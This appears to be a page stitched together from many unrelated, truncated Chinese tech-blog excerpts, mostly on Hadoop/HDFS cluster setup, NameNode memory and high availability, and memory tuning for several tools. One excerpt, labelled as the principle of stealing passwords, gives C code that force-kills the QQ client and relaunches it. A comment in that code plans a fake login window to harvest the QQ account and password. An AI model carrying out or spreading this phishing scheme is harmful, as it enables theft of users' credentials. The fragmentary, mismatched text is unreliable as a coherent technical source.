目录 · 概况 · Hadoop · 云计算 · 大数据 · 数据挖掘 · 手工搭建集群 · 引言 · 配置机器名 · 调整时间 · 创建用户 · 安装JDK · 配置文件 · 启动与测试 · Cloudera Manager · 原理 · Hadoop架构 · 性能调优 · 硬件选型 · 操作系统调优 概况 Hadoop 1. ASF(Apache软件基金会)给出定义:Hadoop软件库是一个框架,允许在集群中使用简单的编程模型对大规模数据集进行分布式计算. 2. Hadoop生态圈 a) H

前言:MyEclipse5.5 大小 139M:MyEclipse6.5 大小 451M:MyEclipse7.0 大小 649M!下载服务器又是国外的...下载速度累人也就罢了,只要你工作性能一流.不幸的是,MyEclipse 属于狂吃内存的主,特别是 MyEclipse7.0 运行起来,基本上不用干其他工作了,它是一会Quick update,一会 updating indexes ,你耐着性子等它 update 完,它老人家又开始自动 validation 了! 实在忍无可忍,作者收集了一

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一.删除文件 二.盗取密码的原理 #include<stdlib.h> //杀掉QQ,然后提示网络故障,请重新登陆,弹出高仿界面,获取账号密码,然后打开QQ进行登录 void main(){ system("taskkill /f /im QQ.exe"); system("pause"); system("D:\\QQ\\Bin\\QQScLauncher.exe"); } 三.弹出系统对话框 #include<windows

先启动所有的zookeeper zkServer.sh start 在所有节点上启动JournalNode: sbin/hadoop-daemon.sh start journalnode 格式化第一个NameNode bin/hdfs namenode –format 启动第一个的NameNode sbin/hadoop-daemon.sh start namenode 在第二个NameNode上同步元数据 bin/hdfs namenode -bootstrapStandby 启动第二个Na

本次是第一次在生产环境部署HBase,本文若有配置上的不妥之处还请高手指正. hadoop版本:hadoop-2.4.1 HBase版本:hbase-0.98.6.1-hadoop2 Zookeeper版本:ZooKeeper3.4.6 JDK:1.6 操作系统:centOS6.3 64bit 1. 安装snappy :-.el6 #yum install snappy-devel 记录一下,当前GCC版本4.4.7 2. 由于hadoop官网下载的bin包中包含的native lib是32bi

现象:Web服务器中SQL Server占用内存非常高,加内存后,SQL Server又吃掉新加的内存,好像内存永远不够用一样. 分析:其实这并不一定是由于SQL Server活动过度造成的,在启动SQL Server后,SQL Server内存使用量会持续稳定上升,即使服务器上活动很少也不会下降,直到物理内存仅剩下4到10M为止,这是SQL Server缓冲池的预期行为,正常现象. 解决:不过这种现象使得服务器应付峰值的能力降低,当突然有较大的活动时,可能使得服务器当机.要限制缓冲池的内存使用

今天使用webstorm,电脑居然卡死了,我的电脑配置: 运行内存16g,1.5T内存的台式, 后来发现,可以通过设置 内存值大小来解决. 具体办法: 找到WebStorm.exe.vmoptions这个文件,路径如下 webstorm安装主目录>bin>WebStorm.exe.vmoptions 更改为 第二行:-Xms526m 第三行:-Xmx1024m (这里-Xms最大值不能超过1024,不然webstorm将无法打开) 或者,更粗暴的解决方法是: 直接删掉下面这两行,让它自己分配内

而当我们使用free命令查看Linux系统内存使用情况时,会发现内存使用一直处于较高的水平,即使此时系统并没有运行多少软件.这正是Windows和Linux在内存管理上的区别,乍一看,Linux系统吃掉我们的内存(Linux ate my ram),但其实这也正是其内存管理的特点. free命令 下面为使用free命令查看我们实验室文件服务器内存得到的结果,-m选项表示使用MB为单位: 输出的第二行表示系统内存的使用情况: Mem: total(总量)= 31405MB,used(已使用)= 3

Linux下查询进程占用的内存方法总结,假设现在有一个「php-cgi」的进程 ,进程id为「25282」. 现在想要查询该进程占用的内存大小.linux命令行下有很多的工具进行查看,现总结常见的几种方式. 查看某一进程使用的内存 通过进程的 status [root@web3_u ~]# cat /proc/25282/status Name: php-cgi State: S (sleeping) Tgid: 25282 Pid: 25282 PPid: 27187 TracerPid: 0

修改配置文件/etc/gitlab/gitlab.rb 将注释掉的这一行放开(至少为2,大致算法为cpu core数量*2 +1) # unicorn[ 然后执行如下命令: gitlab-ctl reconfigure gitlab-ctl restart

本节内容: 环境规划 配置集群各节点hosts文件 安装JDK1.7 安装依赖包ssh和rsync 各节点时间同步 安装Zookeeper集群 添加Hadoop运行用户 配置主节点登录自己和其他节点不需要输入密码 安装hadoop 启动hadoop 停止hadoop 一.环境规划 主机名 IP地址 操作系统版本 安装软件 hadoop16   172.16.206.16  CentOS 7.2 JDK1.7.hadoop-2.7.2  hadoop26  172.16.206.26  CentO

编写不易,转载请注明(http://shihlei.iteye.com/blog/2084711)! 说明 本文搭建Hadoop CDH5.0.1 分布式系统,包括NameNode ,ResourceManger HA,忽略了Web Application Proxy 和Job HistoryServer. 一概述 (一)HDFS 1)基础架构 (1)NameNode(Master) 命名空间管理:命名空间支持对HDFS中的目录.文件和块做类似文件系统的创建.修改.删除.列表文件和目录等基本操作

前言 <HDFS NameNode内存全景>中,我们从NameNode内部数据结构的视角,对它的内存全景及几个关键数据结构进行了简单解读,并结合实际场景介绍了NameNode可能遇到的问题,还有业界进行横向扩展方面的多种可借鉴解决方案. 事实上,对NameNode实施横向扩展前,会面临常驻内存随数据规模持续增长的情况,为此需要经历不断调整NameNode内存的堆空间大小的过程,期间会遇到几个问题: 当前内存空间预期能够支撑多长时间. 何时调整堆空间以应对数据规模增长. 增加多大堆空间. 另一方

问题背景 春节假期间,接连收到监控程序发出的数据异常问题,赶忙连接上跳板机检查各服务间的状态,发现Datanode在第二台.第三台从节点都掉线了,通过查看Datanode和Namenode运行日志,发现了问题所在,记录下这次惊心的处理过程,供参考. 问题描述 Namonode主节点运行时报出内存溢出的问题,截取运行日志如下: java.lang.OutOfMemoryError: GC overhead limit exceeded at java.lang.Long.valueOf(Long.

NameNode内存优化---重用相同的文件名      原创文章,转载请注明:博客园aprogramer 原文链接:NameNode内存优化---重用相同的文件名      众所周知,Hadoop集群的NameNode的内存会随着文件(目录)数和block数的增长而增长.当集群的规模比较大时,NameNode的内存使用量就会越来越大,发生FullGC时需要的时间也会越来越长,严重影响集群的可用性.当文件数很多时,文件名会有很多相同的,如果重用这些相同的文件名,就会减少NameNode内存的使用

NameNode堆内存估算 在HDFS中,数据和元数据是分开存储的,数据文件被分割成若干个数据块,每一个数据块默认备份3份,然后分布式的存储在所有的DataNode上,元数据会常驻在NameNode的内存中,而且随着数据量的增加,在NameNode中内存的元数据的大小也会随着增加,那么这个时候对NameNode的内存的估算就变的非常的重要了. 这里说的内存就是指NameNode所在JVM的堆内存 NameNode内存数据结构非常丰富,除了我们前面讲到的Namespace tree和BlocksM

异步操作是.net4.5推出的新名词,事实上,这东西早就有了,它归根结底是通过线程池来实现的,即将一个大任务分成多个小任何块,每个线程并行处理其中的一个,完成后再把结果告诉主线程,在.net4.5推出后,这种技术得到了封装,让开发人员实现起来更加方便了,但是,并发(导步,多线程)并不是在哪里都适用的,使用不当,可能出现很多严重的后果! 看我的程序,这家伙已经占到了2.6G的内存空间了,很可怕吧!

Hadoop NameNode 高可用 (High Availability) 实现解析   NameNode 高可用整体架构概述 在 Hadoop 1.0 时代,Hadoop 的两大核心组件 HDFS NameNode 和 JobTracker 都存在着单点问题,这其中以 NameNode 的单点问题尤为严重.因为 NameNode 保存了整个 HDFS 的元数据信息,一旦 NameNode 挂掉,整个 HDFS 就无法访问,同时 Hadoop 生态系统中依赖于 HDFS 的各个组件,包括 M

背景:(测试环境)只有两台机器一台namenode一台namenode,但集群只有一个结点感觉不出来效果,在namenode上挂一个datanode就有两个节点,弊端见最后 操作非常简单(添加独立节点参照:http://www.cnblogs.com/pu20065226/p/8493316.html) 1.修改namenode节点的slave文件,增加新节点信息 [hadoop@hadoop-master hadoop]$ pwd /usr/hadoop/hadoop-/etc/hadoop

转载自:http://reb12345reb.iteye.com/blog/2306818 在 Hadoop 的整个生态系统中,HDFS NameNode 处于核心地位,NameNode 的可用性直接决定了 Hadoop 整个软件体系的可用性.本文尝试从内部实现的角度对 NameNode 的高可用机制进行详细的分析,主要包括 NameNode 的主备切换实现分析和 NameNode 的共享存储实现分析.文章的最后在结合作者自身实践的基础上,列举了一些在高可用运维过程中需要注意的事项. NameN